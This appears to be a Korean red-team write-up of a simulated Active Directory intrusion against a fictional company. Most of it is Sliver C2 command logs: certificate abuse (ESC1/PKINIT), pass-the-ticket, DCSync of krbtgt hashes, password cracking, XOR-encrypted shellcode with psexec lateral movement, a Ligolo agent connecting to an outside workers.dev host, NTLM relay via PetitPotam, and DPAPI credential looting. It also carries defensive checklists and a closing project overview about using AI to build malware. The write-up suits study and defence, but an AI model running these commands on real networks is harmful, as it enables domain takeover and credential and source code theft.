[*] CA Response             : The certificate had been issued.
[*] Request ID              : 26 

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAweYqUB+eitjRom23PKj < . . . 생략 . . . > 
-----BEGIN CERTIFICATE-----
MIIFtTCCBJ2gAwIBAgITWwAAABoz < . . . 생략 . . . > 

// ESC1 인증서 획득 
root@sliver-teamserver:~# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
root@ip-10-1-14-169:~# ls -alh cert.pfx 
-rw------- 1 root root 3.3K Jan 20 13:07 cert.pfx

// base64 변환 
root@ip-10-1-14-169:~# cat cert.pfx | base64 -w 0
MIINDQIBAzC < . . . 생략 . . . > 
```

ESC1을 통해 SubjectAltName이 RT\Administrator인 인증서 양식을 받아왔다면, openssl 과 base64를 이용해 Rubeus로 사용할 수 있는 base64 인코딩된 형태로 바꿔준 뒤, PKINIT을 통해 RT\Administrator의 TGT를 받아온다.

```
// PKINIT을 통해 RT\Administrator의 TGT 받아오기 
sliver (FULL_SCHNITZEL) > inline-execute-assembly /root/Rubeus.exe "asktgt /user:rt.local\Administrator /nowrap /certificate:MIINDQIBAzC < . . . 생략 . . . > 

[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=us, DC=rt, DC=local 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rt.local\Administrator'
[*] Using domain controller: 10.2.10.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGNDCCBjCgAwIBB < . . . 생략 . . . > 
```

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FXFeLGuM5wOC1ALmsKRLi%2FAttackPath9-RT-PKINIT.drawio.png?alt=media&amp;token=8d69570b-5108-41bb-be05-fd90409804bf" alt=""><figcaption></figcaption></figure>

이후 받아온 RT\Administrator의 TGT를 사용해 RT 도메인(이자 포레스트) 전체를 장악한다.

```
// PTT을 통해 RT\Administrator 장악 
sliver (FULL_SCHNITZEL) > inline-execute-assembly /root/Rubeus.exe "ptt /ticket:doIGNDCCBjCgAwIBB < . . . 생략 . . . > "

[*] Action: Import Ticket
[+] Ticket successfully imported!

// RT 포레스트 루트 도메인 장악 확인 
sliver (FULL_SCHNITZEL) > ls \\\\pdc01.rt.local\\c$

\\pdc01.rt.local\c$\ (18 items, 1.4 GiB)
========================================
drwxrwxrwx  $Recycle.Bin                        <dir>      Fri Dec 27 20:25:16 +0900 2024
drwxrwxrwx  Boot                                <dir>      Fri Dec 27 19:00:00 +0900 2024
-r--r--r--  bootmgr                             403.0 KiB  Fri Dec 27 18:57:35 +0900 2024

// DCSync 
sliver (FULL_SCHNITZEL) > mimikatz " \"lsadump::dcsync /domain:rt.local /user:RT\\krbtgt\" "

mimikatz(commandline) # lsadump::dcsync /domain:rt.local /user:RT\krbtgt
[DC] 'rt.local' will be the domain
[DC] 'pdc01.rt.local' will be the DC server
[DC] 'RT\krbtgt' will be the user account

SAM Username         : krbtgt
Credentials:
  Hash NTLM: 7757b0a70daf0123c8a8a86e910da0cf

* Primary:Kerberos-Newer-Keys *
    Default Salt : RT.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c7c91463f1709779054eeb7c09c62b138f9d34644fd8d3d689caff437d63cfda
      aes128_hmac       (4096) : 4e94b7731ff83a21c3624616f90df481
```

## 마치며

ADCS ESC1과 PKINIT 등을 이용해 부모 도메인이였던 RT까지 장악했다. 이제 RT를 장악했으니, 원래 레드팀 목적이였던 라쿤 테크의 소스 코드 개발을 도맡아 하고 있는 DEV 및 IN 도메인으로 횡적 이동을 해 목표를 달성한다.

## 우리 회사는

* ADCS ESC1 \~ 13까지, ADCS와 관련된 취약점은 없는가?


# 9. RT -> DEV 정보 수집

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* 커스텀 슬리버 서비스 바이너리를 이용한 횡적 이동
* Cross-Forest BloodHound
* Foreign Local Administrator

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fmi0qAXlUKGQYxbqkEDb1%2FAttackPath10-RT-to-DEV.drawio.png?alt=media&amp;token=d91e936e-95be-425e-9ade-4597ba0c88bb" alt=""><figcaption></figcaption></figure>

레드팀의 주요 목표중 하나는 바로 in.dev.raccoon 도메인에 있는 소스코드를 확보 및 탈취하는 것이였다. RT라는 포레스트 루트 도메인까지 장악을 한 이유는 RT와 DEV(dev.raccoon)간의 도메인/포레스트 신뢰 관계 파악 때문이였다.

```
sliver (HEALTHY_JEWEL) > sharpview -- "Get-ForestTrust"

[*] sharpview output:
SourceName                     : rt.local
TargetName                     : dev.raccoon                                 
TrustDirection                 : Inbound
TrustType                      : Forest 
```

신뢰 관계 파악 결과, DEV -> TRUST -> RT 라는, RT 포레스트를 기준으로 INBOUND 신뢰 관계가 구축되어 있었다. RT는 포레스트 루트 도메인이니, 이왕 장악한 김에 모든 자식 도메인과 DEV까지 블러드하운드로 정보 수집을 진행해본다.

장악한 RT의 엔터프라이즈 관리자 권한을 바탕으로 RT, US, KR, DEV에 모두 블러드하운드를 날려본다. 여기까지 왔을 때 탐지가 안된 것으로 보아 해외법인쪽인 DEV 및 IN은 더 보안이 약할 것이라는 추론이 가능하다. 때문에 모든 정보를 가지고 오기 위해 `-c All,LoggedOn` 을 사용한다. DEV를 향한 블러드하운드는 PDC01에서 실행한다.

먼저 블러드하운드를 실행하기 전 UDC01 -> PDC01로의 횡적 이동이 필요하다.

이전까지 횡적 이동은 모두 슬리버의 기본 PSEXEC 명령어를 사용했다. 해당 명령어의 경우 슬리버의 소스 코드를 살펴보면 기본 슬리버 서비스 바이너리를 컴파일 한 뒤, 이를 업로드 하고, 윈도우 서비스를 대상 머신에서 실해앟는 방식으로 실행된다.

감시가 덜 한 SQL01, WEB01 등의 서버들한테는 괜찮지만, 도메인 컨트롤러들의 경우 관제, AV, EDR 들의 감시가 더 심한 경우가 있다. 때문에 이번에는 커스텀 슬리버 서비스 바이너리를 따로 만들어 횡적 이동을 진행한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F2XlNaK9IfVML5htj08NA%2F0-custom-sliversvc.png?alt=media&amp;token=a7e26af2-4d08-4d98-b441-cb5247e92f31" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.virustotal.com/gui/file/a2fb37a3a53ba518b686f1266b11f32d5bd0e5c4fa6168a6eec102edcdb848f3/detection>" %}

간단하게 만든 탓에 Falcon과 Elastic에는 걸리지만, 그래도 간단한 AV/EDR 정도는 우회해서 실행 가능할 것 같다. 이제 커스텀 슬리버 서비스 바이너리를 이용해 UDC01에서 PDC01로 횡적이동한다.

```
// 1. UDC01.us.rt.local -> PDC01.rt.local

// UDC01에서 피벗 SMB 리스너 실행 
sliver (ORANGE_ZEBRA) > pivots named-pipe --bind mojo.10968.11628.5896583801798593583 --allow-all

// 피벗 SMB 에이전트 쉘코드 제작 
sliver (ORANGE_ZEBRA) > generate -f shellcode -p 10.2.30.10/pipe/mojo.10968.11628.5896583801798593583 -s /root/pdc01-namedpipe.bin

// XOR 암호화 
python3 /opt/pyHellShell/pyHellShell.py -i /root/pdc01-namedpipe.bin -e xor -k microsoft -f raw -out /root/pdc01-namedpipe-xor.bin

// PDC01로 쉘코드 업로드 (6번에서 RT\Administrator의 TGT를 PTT한 상태, 커버로스 인증 사용 - FQDN) 
sliver (ORANGE_ZEBRA) > upload /root/pdc01-namedpipe-xor.bin '//pdc01.rt.local/C$/windows/temp/20250120-crashdump.bin

// 피벗 
sliver (ORANGE_ZEBRA) > psexec -t 30 -c /root/sliversvc.exe -s DomainControllerUpdate -d "Domain Controller updater patch" pdc01.rt.local

[*] Uploaded service binary to \\pdc01.rt.local\C$\windows\temp\4__ephemeris__u3evn.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on pdc01.rt.local (c:\windows\temp\4__ephemeris__u3evn.exe)
[*] Successfully removed service DomainControllerUpdate on pdc01.rt.local

[*] Session f2f3edf9 HEALTHY_JEWEL - tcp(127.0.0.1:44858)->2a06:98c0:3600::103->WORTHWHILE_PROMOTION->ORANGE_ZEBRA-> (pdc01) - windows/amd64 - Sat, 25 Jan 2025 03:11:56 UTC

sliver (ORANGE_ZEBRA) > sessions 

 ID         Transport   Remote Address                                                                    Hostname    Username              Operating System   Health  
========== =========== ================================================================================= =========== ===================== ================== =========
 d4392da6   http(s)     tcp(127.0.0.1:44858)->2a06:98c0:3600::103                                         uswkstn01   US\johndoe.smith      windows/amd64      [ALIVE] 
 4d3804f5   pivot       tcp(127.0.0.1:44858)->2a06:98c0:3600::103->WORTHWHILE_PROMOTION->                 udc01       NT AUTHORITY\SYSTEM   windows/amd64      [ALIVE]
 f2f3edf9   pivot       tcp(127.0.0.1:44858)->2a06:98c0:3600::103->WORTHWHILE_PROMOTION->ORANGE_ZEBRA->   pdc01       NT AUTHORITY\SYSTEM   windows/amd64      [ALIVE] 
```

PDC01에서 RT, KR, US, DEV를 상대로 블러드하운드를 실행한다

```
sliver (HEALTHY_JEWEL) > impersonate rt\\Administrator

sliver (HEALTHY_JEWEL) > inline-execute-assembly /root/funtimes.exe "-c All,Session --zipfilename crashdump --zippassword test -d rt.local"

sliver (HEALTHY_JEWEL) > inline-execute-assembly /root/funtimes.exe "-c All,Session --zipfilename crashdump --zippassword test -d kr.rt.local"

sliver (HEALTHY_JEWEL) > inline-execute-assembly /root/funtimes.exe "-c All,Session --zipfilename crashdump --zippassword test -d us.rt.local"

sliver (HEALTHY_JEWEL) > inline-execute-assembly /root/funtimes.exe "-c All,Session --zipfilename crashdump --zippassword test -d dev.raccoon --domaincontroller ddc01.dev.raccoon"

sliver (HEALTHY_JEWEL) > download 20250125122355_crashdump.zip /tmp/bh-dev.zip
```

이번 블러드하운드에서는 Cross-Forest 권한이나 로컬 관리자 권한 등에 대해서 찾아본다. `MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name` 사이퍼 쿼리를 사용하면 로컬 관리자 권한을 갖고 있는 유저들을 볼 수 있다. KR 도메인 내 특정 4명의 유저들이 `SESSIONJH01.DEV.RACCOON` 서버에 로컬 관리자 권한을 갖고 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FcVEfrRlSacdR8dv3QeNm%2F7-krusers-localadmin-to-sessionjh01-dev.png?alt=media&amp;token=eb499334-0e2b-438e-a4ee-03b373cb6043" alt=""><figcaption></figcaption></figure>

찾아본 결과 해당 유저들은 모두 <ITADMINS@KR.RT.LOCAL> 그룹의 멤버들이였다. IT 관리자들이 인도 개발 법인에 접속하기 위해 `SESSIONJH01` 서버를 이용하고 있다는 것을 유추할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FoQyH0MzW0ClFdd2wTmjM%2F7-2-krusers-itadmins.png?alt=media&amp;token=e9200a1c-1041-48dd-ada2-19eb9a1747a0" alt=""><figcaption></figcaption></figure>

세션 호스트나 점프호스트는 다양한 서버들에 접속하기 위해 사용하는 서버다. 많은 유저들이 사용하고 있을 확률이 높고, RDP 등의 트래픽은 모니터링 되고 있을 확률이 높다. DEV와 RT 사이를 계속해서 오가는 Cross-Forest로 행해지는 SMB 트래픽도 수상하게 느낄 확률이 높다.

그렇기 때문에 SESSIONJH01.dev.raccoon에는 맨 처음에 활용했던 초기 침투용 HTTPS 에이전트 페이로드를 업로드 한 뒤, 실행한다. 개발자들이 많은 법인의 세션 호스트에서 pages.dev 등으로 아웃바운드 트래픽이 날라가는 것은 그나마 좀 덜 수상하다고 느낄 가능성이 높다.

먼저 ITADMINS의 유저들의 비밀번호를 DCSYNC로 가져온 뒤, 크래킹 하고, SESSIONJH01에 접근 가능한지 확인한다.

```
// KR\ITADMINS의 유저 중 한명 NT 해시 획득 
sliver (HEALTHY_JEWEL) > mimikatz " \"lsadump::dcsync /domain:kr.rt.local /user:KR\\jeong.sangmi\" "

Credentials:
  Hash NTLM: d6c5976e07cdb410be19b84126367e3d

// 크래킹 
└─# echo 'd6c5976e07cdb410be19b84126367e3d' >  jeong-sangmi.hash
└─# hashcat -a 0 -m 1000 jeong-sangmi.hash /usr/share/wordlists/rockyou.txt --show 
d6c5976e07cdb410be19b84126367e3d:strawberry


// 접근 확인 
sliver (HEALTHY_JEWEL) > make-token -u jeong.sangmi -p strawberry -d kr.rt.local 
[*] Successfully impersonated kr.rt.local\jeong.sangmi. Use `rev2self` to revert to your previous token.

sliver (HEALTHY_JEWEL) > ls '\\10.2.100.100\c$' 

\\10.2.100.100\c$\ (17 items, 3.2 GiB)
======================================
drwxrwxrwx  $Recycle.Bin                        <dir>      Fri Jan 24 11:38:27 +0900 2025
drwxrwxrwx  Boot                                <dir>      Fri Dec 27 18:51:56 +0900 2024
-r--r--r--  bootmgr                             399.1 KiB  Sat Sep 07 09:28:49 +0900 2019
-rw-rw-rw-  BOOTNXT                             1 B        Sat Sep 15 16:12:30 +0900 2018
-r--r--r--  BOOTSECT.BAK                        8.0 KiB    Fri Dec 27 18:51:56 +0900 2024

```

SESSIONJH01에는 어떤 유저들이 있는지, 인터넷에 접근은 가능한지 원격으로 알아본다.

```
// 의미있는 세션은 없었다. 다들 퇴근한 모양 
sliver (HEALTHY_JEWEL) > sa-regsession sessionjh01.dev.raccoon

// socks5 + proxychains 로 curl 실행, 인터넷 접근 확인 
sliver (HEALTHY_JEWEL) > socks5 start

root@ip-10-1-14-169:~# proxychains netexec smb 10.2.100.100 -u jeong.sangmi -p strawberry -d kr.rt.local -x 'curl -I https://www.google.com'
SMB         10.2.100.100    445    SESSIONJH01      HTTP/1.1 200 OK
SMB         10.2.100.100    445    SESSIONJH01      Content-Type: text/html; charset=ISO-8859-1

```

HTTPS 에이전트를 업로드 한 뒤, 초기침투와 동일한 방식으로 DLL 사이드로딩을 실행한다. 이번에는 원격 프로세스 인젝션을 사용하지 않고, 로컬 프로세스 인젝션을 실행한다.

```
sliver (HEALTHY_JEWEL) > upload /root/onedriveupdater.exe '//10.2.100.100/C$/windows/temp/onedriveupdater.exe' 
sliver (HEALTHY_JEWEL) > upload /root/version.dll '//10.2.100.100/C$/windows/temp/version.dll' 

sliver (HEALTHY_JEWEL) > sharp-wmi action=exec computername=sessionjh01.dev.raccoon command="c:\\windows\\temp\\onedriveupdater.exe" username=KR\\jeong.sangmi password=strawberry

[*] sharp-wmi output:

[*] Host                           : sessionjh01.dev.raccoon
[*] Command                        : c:\windows\temp\onedriveupdater.exe
[*] User credentials               : KR\jeong.sangmi
[*] Creation of process returned   : 0
[*] Process ID                     : 10828

[*] Beacon 7059cea3 WORTHWHILE_PROMOTION - tcp(127.0.0.1:33402)->2a06:98c0:3600::103 (sessionjh01) - windows/amd64 - Sat, 25 Jan 2025 13:03:01 UTC
```

모든 공격과 횡적 이동이 끝나게 되면 SESSIONJH01에서 비컨 콜백을 하나 더 받을 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FuiwzwLOka8GCd4DR1ohD%2FAttackPath12-sessionjh01.drawio.png?alt=media&amp;token=98d88d01-b1ce-4bfb-818a-9d9b73a14e65" alt=""><figcaption></figcaption></figure>

이제 세션 호스트에서 얻은 비컨을 바탕으로 DEV에서의 권한 상승 및 라쿤 테크의 소스 코드가 있을 만한 서버를 찾아보자.


# 10. 권한 상승 및 목표 달성

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* 윈도우 SMB Unbinding을 통한 현실적인 NTLM Relay 공격
* Ligolo-NG
* SAM/LSA 덤프
* DPAPI 덤프
* Dynamic Port Forwarding을 통한 SOCKS 프록시 사용

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FyzTIqaTH7FRmUFL89diW%2FAttackPath15-CompromisingDEV.drawio.png?alt=media&amp;token=e464d103-468e-4e11-8a44-f4eb801d155b" alt=""><figcaption></figcaption></figure>

SESSIONJH01의 파일 시스템을 뒤져보면 꽤 많은 DEV와 KR 유저들의 홈 디렉토리가 보인다. DPAPI 덤프를 하면 좋겠지만, 도메인 관리자가 아닌 로컬 관리자로 DPAPI덤프를 떠봤자 현재 유저의 계정 정보만 얻을 수 있다.

이전에 DEV 도메인의 블러드하운드를 확인했을 때 DEV에 SCCM 관련된 호스트들이 보였었다. 최근 나온 Misconfiguration Manager를 이용해 SCCM 관련된 공격을 진행해본다.

1. SESSIONJH01에서 모든 SCCM 관련된 호스트들의 SMB, MSSQL 등의 포트에 접근 가능하다
2. SESSIONJH01에 몇명의 유저들이 있지만, 모두 RDP만 사용중이다

1번과 2번 덕분에 NTLM Relay를 이용한 TAKEOVER1, TAKEOVER2 등의 TTP를 사용해도 무방할 것 같다. SMB를 Unbind 한 뒤, 리모트 포트 포워딩을 구축하고, Ligolo-ng로 프록시(는 아니지만)를 구축한 뒤, TAKEOVER 2를 활용한 SMB to SMB NTLM Relay 공격을 진행한다.

TAKEOVER2 공격은 SCCM의 SITESRV나 MGMT 서버 머신 계정들이 SCCM 데이터베이스 서버에 로컬 관리자 권한을 갖고 있어서 사용 가능한 공격이다. 강제 인증과 NTLM Relay 공격을 통해 SITESRV/MGMT 머신 계정의 맥락을 얻어낸 뒤, SCCM 데이터베이스에서 SAM/LSA 등을 덤프하는 공격이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FvPigaIZ7aIlPlkov8YWG%2FAttackPath13-Ligolo-ng-TAKEOVER2.drawio.png?alt=media&amp;token=99c3034e-1d60-4299-9e6a-17829982eec7" alt=""><figcaption></figcaption></figure>

공격은 다음과 같은 순서로 이뤄진다. (0. SESSIONJH01의 포트 445 SMB Unbind)

1. Ligolo-NG 구축 (SOCKS도 가능하지만, 속도와 더블 SOCKS를 사용해야해서 Ligolo-NG로 대체)
2. SESSIONJH01의 포트 445에 리모트 포트 포워딩 구축
3. SCCM-SITESRV로 강제 인증 (Petitpotam, PrintSpooler, DFSCoerce, 등)
4. SCCM-SITESRV에서 Sliver 팀서버로 Net-NTLM 콜백
5. NTLM Relay, 대상은 SCCM-SQL의 SMB 서비스
6. NTLM Relay를 통해 SCCM-SQL에게 SOCKS Proxy 구축
7. SOCKS를 통해 SCCM-SQL에게 SITESRV$ 머신 계정으로 접근, SAM/LSA 덤프

실제 공격은 아래와 같이 이뤄진다. 리다이렉터에 이미 Ligolo-NG 콜백 관련된 코드가 있기 때문에, 업로드 후 실행만 하면 된다.

```
// 1. Ligolo-NG 구축  
sliver (WORTHWHILE_PROMOTION) > upload /root/ligolo-agent.exe "c:\\windows\\temp\\agent.exe"

sliver (WORTHWHILE_PROMOTION) > execute c:\\windows\\system32\\cmd.exe /c "c:\\windows\\temp\\agent.exe -ignore-cert -connect https://tiny-bar-f413.fonts-cdn.workers.dev -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.3339.396 Safari/537.36" "

// 2. SESSIONJH01의 SMB Unbind 
root@ip-10-1-14-169:/# python3 /opt/smbtakeover/python/smbtakeover.py kr.rt.local/jeong.sangmi:strawberry@10.2.100.100 check
root@ip-10-1-14-169:/# python3 /opt/smbtakeover/python/smbtakeover.py kr.rt.local/jeong.sangmi:strawberry@10.2.100.100 stop

// 3. 리모트 포트 포워딩 445 Bind 
sliver (WORTHWHILE_PROMOTION) > rportfwd add -b 0.0.0.0:445 -r 127.0.0.1:445

// 4. SITESRV -> SCCM-SQL로 NTLM Relay 구축  
root@ip-10-1-14-169:/# ntlmrelayx.py -t smb://10.2.100.13 -socks -socks-port 1080 -smb2support

// 5. SITESRV에 강제 인증
root@ip-10-1-14-169:/# python3 /opt/PetitPotam/PetitPotam.py -u jeong.sangmi -p strawberry -d kr.rt.local 10.2.100.100 10.2.100.15

// 6. NTLM Relay 성공, SCCM-SQL에 SOCKS 구축 
ntlmrelayx> [*] SMBD-Thread-9 (process_request_thread): Received connection from 127.0.0.1, attacking target smb://10.2.100.13
[proxychains] Strict chain  ...  127.0.0.1:1081  ...  10.2.100.13:445  ...  OK
[*] Authenticating against smb://10.2.100.13 as DEV/SCCM-SITESRV$ SUCCEED
[*] SOCKS: Adding DEV/SCCM-SITESRV$@10.2.100.13(445) to active SOCKS connection. Enjoy

// 7. SOCKS를 이용해 SCCM-SQL에 SAM/LSA 덤프 
root@ip-10-1-14-169:~# proxychains -f /etc/proxychains4-1080.conf secretsdump.py 'DEV/SCCM-SITESRV$@10.2.100.13' -no-pass -skip-sam

[*] DPAPI_SYSTEM 
dpapi_machinekey:0xfe0c118128b665ba994a13ca4c6c0806f1a73511
dpapi_userkey:0x65f3ee89e9c6b1f60690a2022a680dafa4096bdf
[*] NL$KM 
 0000   C8 63 E4 39 02 45 B7 A7  FD 55 FB 4F 70 08 F9 3B   .c.9.E...U.Op..;
 0010   BB F8 C5 15 FD 32 C4 40  AC D0 CF 0F 3A 1C 32 1D   .....2.@....:.2.
 0020   51 F1 03 3A D5 66 30 67  B7 02 A3 0F AB D0 68 61   Q..:.f0g......ha
 0030   DA CF DA DF FE A4 46 90  17 11 20 FD F9 45 A0 E3   ......F... ..E..
NL$KM:c863e4390245b7a7fd55fb4f7008f93bbbf8c515fd32c440acd0cf0f3a1c321d51f1033ad5663067b702a30fabd06861dacfdadffea44690171120fdf945a0e3
[*] _SC_MSSQLSERVER 
dev\sqlsccmsvc:Password123
```

맨 마지막에 SQLSCCMSVC 서비스 계정의 평문 비밀번호가 나오는데, 해당 계정은 도메인 관리자 소속이다.

```
# proxychains nxc smb 10.2.100.10 -u sqlsccmsvc -p Password123 -d dev.raccoon 
root@ip-10-1-14-169:~# proxychains nxc smb 10.2.100.10 -u sqlsccmsvc -p Password123 -d dev.raccoon
SMB         10.2.100.10     445    DDC01            [*] Windows Server 2022 Build 20348 x64 (name:DDC01) (domain:dev.raccoon) (signing:True) (SMBv1:False) 
SMB         10.2.100.10     445    DDC01            [+] dev.raccoon\sqlsccmsvc:Password123 (Pwn3d!) 
```

도메인 관리자의 권한을 얻었으니, 다시 SESSIONJH01로 돌아가 이번에는 DPAPI 덤프를 진행한다. 해당 점프 서버는 많은 수의 개발자 및 IT 관리자들이 사용하는 서버다. 그 중 분명 비밀번호 관리 소프트웨어 (Bitwarden, 1Password, KeePass, 등)을 사용하지 않는 유저도 있을 것이다.

DPAPI 덤프의 경우 해당 머신의 모든 유저들의 마스터 키를 바탕으로 비밀들을 얻으려면 도메인 관리자 권한이 필요하다. 때문에 이를 바탕으로 DPAPI 덤프를 하면 특정 머신에 등록되어 있는 모든 유저들의 비밀을 얻을 수 있다.

SESSIONJH01의 SMB를 다시 bind 시킨 다음, DPAPI 덤프를 진행한다.

```
root@ip-10-1-14-169:/# python3 /opt/smbtakeover/python/smbtakeover.py kr.rt.local/jeong.sangmi:strawberry@10.2.100.100 start

root@ip-10-1-14-169:~# netexec smb 10.2.100.100 -u sqlsccmsvc -p Password123 --dpapi                                                                      
SMB         10.2.100.100    445    SESSIONJH01      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SESSIONJH01) (domain:dev.raccoon) (signing:False) (SMBv1:False)
SMB         10.2.100.100    445    SESSIONJH01      [+] dev.raccoon\sqlsccmsvc:Password123 (Pwn3d!)
SMB         10.2.100.100    445    SESSIONJH01      [+] Loading domain backupkey from nxcdb...
SMB         10.2.100.100    445    SESSIONJH01      [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         10.2.100.100    445    SESSIONJH01      [+] Got 8 decrypted masterkeys. Looting secrets...
SMB         10.2.100.100    445    SESSIONJH01      [Banerjee.Sunil][FIREFOX] http://10.2.110.20 - Banerjee.Sunil:tryaccess
```

SESSIONJH01 세션 호스트에서 Banerjee.Sunil이라는 유저가 10.2.110.20 호스트에 사용하던 계정 정보가 나왔다. 이 유저가 US, KR, RT, DEV에 모두 없는 걸로 보아 IN (in.dev.raccoon) 도메인 유저일 가능성이 높다. 확인해보자.

```
sliver (WORTHWHILE_PROMOTION) > make-token -u banerjee.sunil -p tryaccess -d in.dev.raccoon

[*] Successfully impersonated in.dev.raccoon\banerjee.sunil. Use `rev2self` to revert to your previous token.

sliver (WORTHWHILE_PROMOTION) > ls \\\\idc01.in.dev.raccoon\\SYSVOL

\\idc01.in.dev.raccoon\SYSVOL\ (1 item, 0 B)
============================================
Lrw-rw-rw-  in.dev.raccoon -> C:\Windows\SYSVOL\domain  0 B  Fri Jan 24 13:35:10 +0900 2025
```

IN의 도메인 컨트롤러인 idc01.in.dev.raccoon의 SYSVOL 쉐어에 접근이 가능한 것으로 보아 IN 도메인의 유저 중 하나라는 것을 알 수 있다. IN에도 블러드하운드를 실행할 수 있겠지만, 일단은 레드팀의 목적을 모두 달성한 것 같기 때문에 먼저 10.2.110.20를 방문한다.

Ligolo-ng를 사용해서 10.2.110.20과 관련된 포트를 방문해보면 Gitlab이 보인다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FpQ3k97Aj2wlDqsXWf0WF%2F8-gitlab.png?alt=media&amp;token=e29f0178-368b-40ff-9660-452be1a47436" alt=""><figcaption></figcaption></figure>

앞서 DPAPI로 얻은 Banerjee.Sunil 유저의 계정 정보로 로그인을 하면 라쿤테크 외주 프로젝트인 라쿤앱과 라쿤 플랫폼의 소스코드를 담은 프로젝트들이 보인다. Banerjee.Sunil 유저는 해당 프로젝트의 PM으로서, 리포들에 대한 모든 권한을 갖고 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fe61cYO7hSP0xwCbShXxW%2F8-gitlab2.png?alt=media&amp;token=81ef093f-1582-42d5-bd69-d8ee1484c45d" alt=""><figcaption></figcaption></figure>

공격자는 이를 바탕으로 소스 코드를 탈취하거나, Gitlab CI/CD 프로세스를 통해 소스 코드를 변환할 수도 있다. 이를 통해 라쿤 테크 및 라쿤 테크의 고객사들을 향한 공급망 공격도 가능할 것이다.

## 우리 회사는

* DPAPI 덤프에 대항하기 위해 비밀번호 관리 솔루션 혹은 서버를 운영하고 있는가?
* 문서 서버나 유저들의 데스크탑에 `비번.txt` 등으로 안전하지 못하게 비밀번호를 관리하고 있는 것은 아닌가?
* PAM 서버 등을 운영하며 MFA를 적용했는가?
* CI/CD, 소스 코드 관리 서버 등에 접근할 때 IdP, SSO, MFA 등을 적용했는가?

최종적으로 라쿤 테크를 향한 레드팀은 다음의 공격 경로를 통해 이뤄졌다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FrusDzACzd5uFv11zaYax%2FAttackPath14-done.drawio.png?alt=media&amp;token=79f58095-b8ee-4192-ba5e-287b83c8089e" alt=""><figcaption></figcaption></figure>


# 1. 개요

## Operation Triple Barrel

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FVJKuapDqj2l1ELxEWEOu%2Foperation-triple-barrel.png?alt=media&amp;token=68cb074f-7199-4961-97e7-d7edce79be91" alt="" width="563"><figcaption></figcaption></figure>

> 본 프로젝트는 Operation Double Barrel과 관련 없는 개인 프로젝트입니다.

> 이 프로젝트는 KGuild와 [RedRaccoon](https://www.redraccoon.kr/)의 지원을 받아 진행되었습니다. 대한민국에서 공격자 시뮬레이션 (Adversary Simulation), 혹은 침투테스트 업무를 하고 계신다면 KGuild로 오세요.

### 개요

Operation Triple Barrel은 2026년 7월 공개된 CTI 보고서 [Operation Double Barrel](https://asec.ahnlab.com/ko/94695/)을 기반으로, AI를 활용해 보고서에 등장하는 악성코드와 TTP를 재현해보는 프로젝트입니다. 분석부터 악성코드 제작, 방어 회피, 공격자 인프라 구축, 간단 오퍼레이션까지 2026년 광복절 연휴 3일에 걸쳐 진행했습니다.

프로젝트에서 사용된 모든 코드는 아래 깃허브에 공개합니다.

* <https://github.com/ChoiSG/Operation-Triple-Barrel>

### 배경

AI를 활용하면 공격자들이 더 빠르게, 더 정교한 악성코드를 만들 수 있다는 이야기는 지난 4년 내내 귀에 못이 박히도록 들어왔습니다. 실제 사례도 몇 건 있었지만 APT 수준의 악성코드라고 부르기엔 민망한, 조악한 수준의 파워쉘이나 C#/.NET 어셈블리 정도였었습니다.

AI를 사용하면 얼마나 코드/TTP 구현이 빨라지는지, 얼마나 정교한 악성코드를 만들 수 있는지를 직접 해보고 (`Show, Don't Tell`) 측정한 사례는 국내 한정으로 찾기 어렵습니다. 있다 하더라도, 아직 레드팀 업계 초기 단계인 국내 특성상, 실제 EDR/NDR 등의 보안 통제를 우회하며 공격자 시뮬레이션에서 사용되는 수준의 코드와 TTP를 AI를 통해 구현했다는 사례는 더욱 찾기 어렵습니다.&#x20;

